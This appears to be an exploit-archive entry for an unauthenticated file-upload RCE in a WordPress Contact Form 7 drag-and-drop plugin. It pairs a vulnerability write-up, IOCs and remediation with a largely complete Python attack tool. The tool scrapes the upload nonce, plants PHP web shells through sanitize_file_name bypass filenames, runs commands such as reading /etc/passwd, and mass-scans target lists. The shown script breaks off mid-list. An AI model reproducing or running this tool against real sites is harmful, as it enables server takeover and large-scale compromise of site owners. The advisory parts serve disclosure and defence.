PoC Archive PoC Archive
High CVE-2026-5364 unpatched

WordPress "Drag and Drop File Upload for Contact Form 7" Unauthenticated RCE — CVE-2026-5364

by Thomas Sanzey · 2026-07-05

CVSS 8.1/10
Severity
High
CVE
CVE-2026-5364
Category
web
Affected product
WordPress plugin "Drag and Drop File Upload for Contact Form 7" (drag-and-drop-file-upload-for-contact-form-7)
Affected versions
<= 1.1.3
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherThomas Sanzey
CVE / AdvisoryCVE-2026-5364
Categoryweb
SeverityHigh
CVSS Score8.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
Tagswordpress, contact-form-7, file-upload, webshell, rce, sanitize-file-name-bypass, admin-ajax, cwe-434
RelatedN/A

Affected Target

FieldValue
Software / SystemWordPress plugin “Drag and Drop File Upload for Contact Form 7” (drag-and-drop-file-upload-for-contact-form-7)
Versions Affected<= 1.1.3
Language / PlatformPython 3 (requests) targeting WordPress wp-admin/admin-ajax.php
Authentication RequiredNo
Network Access RequiredYes

Summary

The plugin determines an uploaded file’s extension via pathinfo() on the raw, attacker-supplied filename before that filename is passed through WordPress’s sanitize_file_name(). By uploading a file named e.g. shell.php$, pathinfo() reports the extension as php$ (which evades the plugin’s extension blacklist/allowlist check), while the later sanitize_file_name() call strips the trailing $ character, causing the file to actually be saved as shell.php — a directly executable PHP web shell in a web-accessible uploads directory. The included Python tool automates nonce retrieval, shell upload with several selectable payload types, single-target or mass-list scanning, and both one-shot command execution and an interactive shell against the planted web shell.


Vulnerability Details

Root Cause

Order-of-operations flaw combined with an attacker-controlled allowlist: (1) the plugin reads an attacker-supplied type POST parameter to decide which extensions are permitted, (2) pathinfo() extracts the extension from the raw filename before sanitization, and (3) sanitize_file_name() (applied later, inside wp_unique_filename()) strips characters such as $ % ~ and spaces — so a filename crafted with one of these trailing characters bypasses the extension check but is saved with a .php extension after sanitization (CWE-434: Unrestricted Upload of File with Dangerous Type).

Attack Vector

  1. GET the page hosting the Contact Form 7 form; extract the upload nonce embedded via wp_localize_script() in the page HTML.
  2. POST /wp-admin/admin-ajax.php with action=cf7_file_uploads, the retrieved nonce, type=php$ (an extension not present in the blacklist), and a file named e.g. shell.php$ containing a PHP payload.
  3. The plugin’s extension check inspects php$ and allows it through; sanitize_file_name() later strips the $, so the file is written to disk as shell.php under wp-content/uploads/cf7-uploads-custom/.
  4. The AJAX response returns the direct URL to the uploaded file.
  5. GET the returned URL with a ?cmd= parameter (or POST for the eval shell variant) to execute arbitrary OS commands as the web server user.

Impact

Unauthenticated remote code execution on the underlying WordPress server as the web server user (e.g. www-data), via a planted PHP web shell reachable at a predictable, attacker-known URL. Mitigating factors noted in the source: Apache installs with .htaccess forcing Content-Disposition: attachment on the uploads directory can block direct PHP execution, but this protection is ineffective on Nginx/LiteSpeed.


Environment / Lab Setup

Target:   WordPress site with "Drag and Drop File Upload for Contact Form 7" <= 1.1.3
          active on a page containing a Contact Form 7 form
Attacker: Python 3.8+, `pip install requests`

Proof of Concept

PoC Script

See CVE-2026-5364.py in this folder.

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python CVE-2026-5364.py -u https://target.com

python CVE-2026-5364.py -u https://target.com -c "whoami"

python CVE-2026-5364.py -u https://target.com --interactive

python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt

The script fetches the CF7 upload nonce, uploads a PHP web shell using a bypass filename (trying blacklist-bypass characters such as $ % ~ and space automatically), then interacts with the planted shell to run commands, drop into an interactive pseudo-shell, or sweep a list of targets with multithreading and write results to a file. Selectable web shell payload types (basic, exec, pass, eval, info) are supported via --shell.


Detection & IOCs

POST /wp-admin/admin-ajax.php   action=cf7_file_uploads   type=php$ (or php%, php~, "php ")
GET  /wp-content/uploads/cf7-uploads-custom/<random>.php?cmd=...

Signs of compromise:

  • .php files present under wp-content/uploads/cf7-uploads-custom/ that were not intentionally deployed
  • admin-ajax.php POST requests with action=cf7_file_uploads and a type parameter containing blacklist-bypass characters ($, %, ~, trailing space)
  • Outbound requests to uploaded .php files with cmd/x GET or POST parameters consistent with the listed web shell types

Remediation

ActionDetail
Primary fixUpdate the plugin to version 1.1.4 or later, which sanitizes the filename before computing the extension and reads allowed types from admin settings rather than a client-supplied POST parameter
Interim mitigationDisable/remove the plugin until patched, or enforce Content-Disposition: attachment / block PHP execution in the uploads directory at the web server level (note: ineffective on Nginx/LiteSpeed per source)

References


Notes

Mirrored from https://github.com/xxconi/CVE-2026-5364 on 2026-07-05. The upstream README’s installation section shows a generic git clone .../example/CVE-2026-5364 placeholder rather than the actual repository URL; this is preserved as an upstream inconsistency and not corrected. photo.png (evidence screenshot) was retained; no LICENSE file was present in the upstream repository.

CVE-2026-5364.py
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#!/usr/bin/env python3
"""
CVE-2026-5364 — Drag and Drop File Upload for Contact Form 7 <= 1.1.3
Unauthenticated Arbitrary File Upload via sanitize_file_name() Bypass
CVSS 8.1 (High)
Researcher: Thomas Sanzey
"""

import requests, argparse, re, sys, time, threading, shutil, json, os
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
from urllib.parse import urljoin, urlparse

requests.packages.urllib3.disable_warnings()

# ══════════════════════════════════════════════════
# RENK & ÇIKTI
# ══════════════════════════════════════════════════

def tw():
    return shutil.get_terminal_size((100, 24)).columns

class C:
    G="\033[92m"; R="\033[91m"; Y="\033[93m"; B="\033[94m"
    CY="\033[96m"; MG="\033[35m"; DM="\033[90m"; WH="\033[97m"
    BL="\033[1m"; X="\033[0m"
    BG_R="\033[41m"; BG_Y="\033[43m"; BG_G="\033[42m"
    NOCOLOR = False

    @classmethod
    def fmt(cls, msg, *codes):
        if cls.NOCOLOR: return str(msg)
        return "".join(codes) + str(msg) + cls.X

    @classmethod
    def ok(cls, m):   return cls.fmt(m, cls.G)
    @classmethod
    def err(cls, m):  return cls.fmt(m, cls.R)
    @classmethod
    def warn(cls, m): return cls.fmt(m, cls.Y)
    @classmethod
    def dim(cls, m):  return cls.fmt(m, cls.DM)

    @classmethod
    def badge_err(cls, m):  return cls.fmt(f" {m} ", cls.BG_R, cls.BL, cls.WH)
    @classmethod
    def badge_warn(cls, m): return cls.fmt(f" {m} ", cls.BG_Y, cls.BL, "\033[30m")
    @classmethod
    def badge_ok(cls, m):   return cls.fmt(f" {m} ", cls.BG_G, cls.BL, cls.WH)

_lock    = Lock()
_verbose = False

def out(msg="", end="\n"):
    with _lock:
        sys.stdout.write("\r" + " " * tw() + "\r" + str(msg) + end)
        sys.stdout.flush()

def vout(msg):
    if _verbose: out(msg)

def section(title, icon="◆"):
    out()
    out(C.fmt(f"  {icon} ", C.MG, C.BL) + C.fmt(title, C.BL, C.WH))
    out(C.fmt("  " + "─" * min(50, tw()-4), C.DM))

def kv(k, v, vc=None):
    out(C.fmt(f"  · {k:<16}", C.DM) + C.fmt(str(v), vc or C.WH))

# ══════════════════════════════════════════════════
# PROGRESS BAR
# ══════════════════════════════════════════════════

class Bar:
    def __init__(self, total, title="", color=None):
        self.total   = max(total, 1)
        self.title   = title
        self.color   = color or C.CY
        self.current = 0
        self.start   = time.time()
        self._lines  = 0

    def update(self, n, info=""):
        self.current = n
        w      = tw()
        bw     = max(10, w - len(self.title) - 26)
        pct    = n / self.total
        filled = int(bw * pct)
        elapsed = time.time() - self.start + 0.001
        rate   = n / elapsed
        eta    = (self.total - n) / rate if rate > 0 else 0
        bar = (C.fmt("█" * filled, self.color, C.BL) +
               C.fmt("░" * (bw - filled), C.DM))
        l1 = (C.fmt(f" {self.title} ", C.BL, self.color) +
              f" [{bar}] " +
              C.fmt(f"{pct*100:5.1f}%", C.BL, C.WH) +
              C.fmt(f" ({n}/{self.total})", C.DM))
        l2 = (f"  " + C.fmt(f"{rate:5.1f}/s", C.G) +
              f"  ETA " + C.fmt(f"{eta:4.0f}s", C.Y) +
              f"  " + C.fmt(str(info)[:w-32], C.DM))
        with _lock:
            if self._lines:
                sys.stdout.write(f"\033[{self._lines}A\033[J")
            sys.stdout.write(l1 + "\n" + l2 + "\n")
            sys.stdout.flush()
        self._lines = 2

    def finish(self, msg=""):
        bw = max(10, tw() - len(self.title) - 26)
        elapsed = time.time() - self.start
        rate    = self.current / (elapsed + 0.001)
        with _lock:
            if self._lines:
                sys.stdout.write(f"\033[{self._lines}A\033[J")
            sys.stdout.write(
                C.fmt(f" {self.title} ", C.BL, C.G) +
                f" [{C.fmt('█'*bw, C.G, C.BL)}] " +
                C.fmt("100.0%", C.BL, C.G) +
                C.fmt(f" ({self.current}/{self.total})", C.DM) + "\n" +
                C.fmt("  ✓ ", C.G, C.BL) +
                C.fmt(f"{elapsed:.1f}s  {rate:.1f}/s", C.DM) +
                (C.fmt(f"  {msg}", C.CY) if msg else "") + "\n"
            )
            sys.stdout.flush()
        self._lines = 0

class CounterBar:
    def __init__(self, total, title="Scan"):
        self.total = max(total, 1)
        self.title = title
        self.n     = 0
        self.start = time.time()

    def inc(self, info=""):
        with _lock:
            self.n += 1
            elapsed = time.time() - self.start + 0.001
            rate = self.n / elapsed
            eta  = (self.total - self.n) / rate if rate > 0 else 0
            line = (C.fmt(f" {self.title} ", C.BL, C.CY) +
                    C.fmt(f" {self.n/self.total*100:5.1f}%", C.BL, C.WH) +
                    C.fmt(f" ({self.n}/{self.total})", C.DM) +
                    C.fmt(f"  {rate:.1f}/s", C.G) +
                    C.fmt(f"  ETA {eta:.0f}s", C.Y) +
                    C.fmt(f"  {str(info)[:45]}", C.DM))
            sys.stdout.write("\r" + " " * tw() + "\r" + line)
            sys.stdout.flush()

    def finish(self, msg=""):
        elapsed = time.time() - self.start
        with _lock:
            sys.stdout.write("\r" + " " * tw() + "\r")
            sys.stdout.write(
                C.fmt(f" {self.title} ", C.BL, C.G) +
                C.fmt(" TAMAMLANDI", C.BL, C.G) +
                C.fmt(f" ({self.n}/{self.total})", C.DM) +
                C.fmt(f"  {elapsed:.1f}s", C.DM) +
                (C.fmt(f"  {msg}", C.CY) if msg else "") + "\n"
            )
            sys.stdout.flush()

# ══════════════════════════════════════════════════
# BANNER
# ══════════════════════════════════════════════════

def print_banner():
    out(C.fmt("""
  ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗
 ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝
 ██║     ██║   ██║█████╗       █████╔╝██║██╔██║ █████╔╝███████╗
 ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗
 ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝
  ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝
""", C.CY, C.BL))
    out(C.fmt("  CVE-2026-5364", C.BL, C.R) +
        C.fmt("  CF7 Drag & Drop File Upload <= 1.1.3  ", C.DM) +
        C.badge_err("CVSS 8.1 HIGH"))
    out(C.fmt("  Unauthenticated File Upload via sanitize_file_name() Bypass", C.DM))
    out(C.fmt("  " + "─" * (tw()-4), C.DM))
    out()

# ══════════════════════════════════════════════════
# HTTP
# ══════════════════════════════════════════════════

def make_session(timeout=15, proxy=None):
    s = requests.Session()
    s.verify  = False
    s.timeout = timeout
    s.headers.update({
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                      "AppleWebKit/537.36 (KHTML, like Gecko) "
                      "Chrome/124.0.0.0 Safari/537.36",
    })
    if proxy:
        s.proxies = {"http": proxy, "https": proxy}
    return s

def get(sess, url, **kw):
    try:
        return sess.get(url, allow_redirects=True, **kw)
    except Exception as e:
        vout(C.dim(f"  [GET ERR] {url}{e}"))
        return None

def post_req(sess, url, **kw):
    try:
        return sess.post(url, allow_redirects=True, **kw)
    except Exception as e:
        vout(C.dim(f"  [POST ERR] {url}{e}"))
        return None
# ══════════════════════════════════════════════════
# PLUGİN TESPİT
# ══════════════════════════════════════════════════

PATCHED = (1, 1, 4)

def parse_version(v):
    try:
        return tuple(int(x) for x in re.split(r'[.\-]', str(v))[:3])
    except Exception:
        return (0, 0, 0)

def is_patched(v):
    return parse_version(v) >= PATCHED

def detect_plugin(sess, base_url):
    result = {
        "installed": False,
        "version":   None,
        "patched":   False,
        "cf7":       False,
    }

    # ── 1) readme.txt ────────────────────────────
    readme_url = urljoin(base_url,
        "/wp-content/plugins/drag-and-drop-file-upload-for-contact-form-7/readme.txt")
    r = get(sess, readme_url)
    if r and r.status_code == 200 and "Drag and Drop" in r.text:
        result["installed"] = True
        m = re.search(r'Stable tag:\s*([\d.]+)', r.text, re.I)
        if m:
            result["version"] = m.group(1)
            result["patched"] = is_patched(m.group(1))
        vout(C.dim(f"  [detect] readme.txt → v{result['version']}"))

    # ── 2) JS dosyası ────────────────────────────
    if not result["installed"]:
        js_url = urljoin(base_url,
            "/wp-content/plugins/drag-and-drop-file-upload-for-contact-form-7"
            "/frontend/js/cf7_uploads.js")
        r = get(sess, js_url)
        if r and r.status_code == 200:
            result["installed"] = True
            vout(C.dim("  [detect] JS dosyası bulundu"))

    # ── 3) HTML sinyalleri ───────────────────────
    if not result["installed"]:
        r = get(sess, base_url)
        if r:
            signals = [
                r'cf7_file_uploads',
                r'drag-and-drop-file-upload-for-contact-form-7',
                r'cf7_uploads',
                r'dnd_upload',
            ]
            for sig in signals:
                if re.search(sig, r.text, re.I):
                    result["installed"] = True
                    vout(C.dim(f"  [detect] HTML sinyal: {sig}"))
                    break

    # ── CF7 kontrolü ─────────────────────────────
    r = get(sess, base_url)
    if r and re.search(r'wpcf7|contact-form-7', r.text, re.I):
        result["cf7"] = True

    return result

# ══════════════════════════════════════════════════
# NONCE ÇIKAR
# ══════════════════════════════════════════════════

def extract_nonce(sess, base_url):
    candidates = [
        base_url,
        urljoin(base_url, "/contact/"),
        urljoin(base_url, "/contact-us/"),
        urljoin(base_url, "/iletisim/"),
        urljoin(base_url, "/?page_id=2"),
        urljoin(base_url, "/?p=1"),
    ]

    # REST API'den sayfa listesi
    api = urljoin(base_url, "/wp-json/wp/v2/pages?per_page=20&_fields=link")
    r = get(sess, api)
    if r and r.status_code == 200:
        try:
            for p in r.json():
                link = p.get("link", "")
                if link and link not in candidates:
                    candidates.append(link)
        except Exception:
            pass

    nonce_patterns = [
        r'"nonce"\s*:\s*"([a-f0-9]{10})"',
        r"'nonce'\s*:\s*'([a-f0-9]{10})'",
        r'cf7_file_uploads.*?"nonce"\s*:\s*"([a-f0-9]+)"',
        r'nonce["\s:\']+([a-f0-9]{8,12})',
    ]

    for url in candidates:
        r = get(sess, url)
        if not r or r.status_code != 200:
            continue
        for pat in nonce_patterns:
            m = re.search(pat, r.text, re.S)
            if m:
                nonce = m.group(1)
                vout(C.dim(f"  [nonce] {url}{nonce}"))
                return nonce, url

    return None, None

# ══════════════════════════════════════════════════
# WEBSHELL İÇERİKLERİ
# ══════════════════════════════════════════════════

SHELLS = {
    "basic": '<?php system($_GET["cmd"]); ?>',
    "exec":  '<?php echo shell_exec($_GET["cmd"]); ?>',
    "pass":  '<?php passthru($_GET["cmd"]); ?>',
    "eval":  '<?php @eval(base64_decode($_POST["x"])); ?>',
    "info":  '<?php phpinfo(); ?>',
}

def get_shell_content(shell_type="basic"):
    return SHELLS.get(shell_type, SHELLS["basic"])

# ══════════════════════════════════════════════════
# SHELL URL DOĞRULA
# ══════════════════════════════════════════════════

def is_valid_shell_url(url, base_url):
    """
    Dönen URL gerçekten upload dizininde bir PHP dosyası mı?
    """
    if not url or not isinstance(url, str):
        return False

    # http ile başlamalı
    if not url.startswith("http"):
        return False

    parsed = urlparse(url)

    # .php uzantılı olmalı
    if not parsed.path.lower().endswith(".php"):
        return False

    # uploads dizininde olmalı
    if "uploads" not in parsed.path:
        return False

    # Bilinen WP sistem dosyaları olmamalı
    BLOCKED_PATHS = [
        "xmlrpc.php", "wp-login.php", "wp-cron.php",
        "wp-trackback.php", "wp-comments-post.php",
        "wp-signup.php", "wp-activate.php",
    ]
    path_lower = parsed.path.lower()
    for bp in BLOCKED_PATHS:
        if path_lower.endswith(bp):
            vout(C.dim(f"  [url_check] Engellendi: {bp}"))
            return False

    # wp-admin içinde olmamalı
    if "wp-admin" in path_lower:
        return False

    return True

# ══════════════════════════════════════════════════
# DOSYA YÜKLE
# ══════════════════════════════════════════════════

def upload_shell(sess, base_url, nonce, shell_content, shell_type="basic"):
    """
    CVE-2026-5364 exploit:
    - Dosya adı : shell.php$  → sanitize_file_name() → .php olarak kaydedilir
    - type param: php$        → blacklist'te yok, allowlist'te var
    - Sonuç     : wp-content/uploads/cf7-uploads-custom/<uniqid>.php
    """
    ajax_url = urljoin(base_url, "/wp-admin/admin-ajax.php")

    # sanitize_file_name() tarafından silinen bypass karakterleri
    bypass_chars = ["$", "%", "~", "`", " "]

    for bchar in bypass_chars:
        filename   = f"shell.php{bchar}"
        ext_bypass = f"php{bchar}"
        shell_bytes = shell_content.encode()

        files = {
            "file": (
                filename,
                shell_bytes,
                "application/x-php",
            )
        }
        data = {
            "action":      "cf7_file_uploads",
            "nonce":       nonce,
            "type":        ext_bypass,
            "size":        str(len(shell_bytes)),
            "type_upload": "0",
        }

        vout(C.dim(f"  [upload] bypass='{bchar}'  "
                   f"file={filename}  type={ext_bypass}"))

        r = post_req(sess, ajax_url, data=data, files=files)
        if not r:
            continue

        vout(C.dim(f"  [response] {r.status_code}{r.text[:200]}"))

        # ── JSON parse ───────────────────────────
        try:
            resp = r.json()
            if resp.get("status") == "ok":
                file_url = resp.get("text", "")

                # URL doğrulama — xmlrpc.php gibi sahte URL'leri filtrele
                if is_valid_shell_url(file_url, base_url):
                    return {
                        "ok":       True,
                        "url":      file_url,
                        "bchar":    bchar,
                        "filename": filename,
                        "raw":      resp,
                    }
                else:
                    vout(C.dim(f"  [upload] Geçersiz shell URL: {file_url}"))
                    continue

            # Reddedildi — sonraki bypass dene
            if resp.get("status") == "not":
                vout(C.dim(f"  [upload] '{bchar}' reddedildi"))
                continue

        except Exception:
            # JSON değil — regex ile URL ara
            m = re.search(r'https?://[^\s"\'<>]+\.php', r.text)
            if m:
                file_url = m.group(0)
                if is_valid_shell_url(file_url, base_url):
                    return {
                        "ok":       True,
                        "url":      file_url,
                        "bchar":    bchar,
                        "filename": filename,
                        "raw":      r.text,
                    }

    return {"ok": False, "reason": "all_bypass_failed"}

# ══════════════════════════════════════════════════
# SHELL DOĞRULA & KOMUT ÇALIŞTIR
# ══════════════════════════════════════════════════

# Komuta özel kesin RCE kalıpları
RCE_PATTERNS = {
    "id":              r'uid=\d+\([^)]+\)\s+gid=\d+\([^)]+\)',
    "whoami":          r'^(?:www-data|root|apache|nginx|nobody|http|daemon|ftp)$',
    "uname -a":        r'Linux\s+\S+\s+\d+\.\d+\.\d+',
    "uname":           r'(?:Linux|Darwin|FreeBSD)\s+\S+',
    "pwd":             r'^/(?:var|home|srv|www|opt|tmp|usr)[/\w.\-]+$',
    "hostname":        r'^[a-zA-Z0-9][a-zA-Z0-9\-]{2,62}$',
    "cat /etc/passwd": r'root:x:0:0:root',
    "ls":              r'(?:total \d+|[-drwx]{10}\s+\d+)',
    "ls -la":          r'(?:total \d+|[-drwx]{10}\s+\d+)',
    "ps":              r'(?:PID\s+TTY|^\s*\d+\s+pts)',
    "ps aux":          r'(?:USER\s+PID|root\s+\d+)',
    "ifconfig":        r'inet\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
    "ip a":            r'inet\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
    "df":              r'/dev/[a-z]+\d*\s+\d+',
    "df -h":           r'/dev/[a-z]+\d*\s+\d+',
    "env":             r'(?:^|\n)(?:PATH|HOME|USER|SHELL)=',
    "phpinfo":         r'PHP Version \d+\.\d+\.\d+',
}

# Kesinlikle false positive olan içerikler
FALSE_POSITIVES = [
    r'XML-RPC',
    r'xmlrpc',
    r'POST requests only',
    r'WordPress.*?site',
    r'wp-login',
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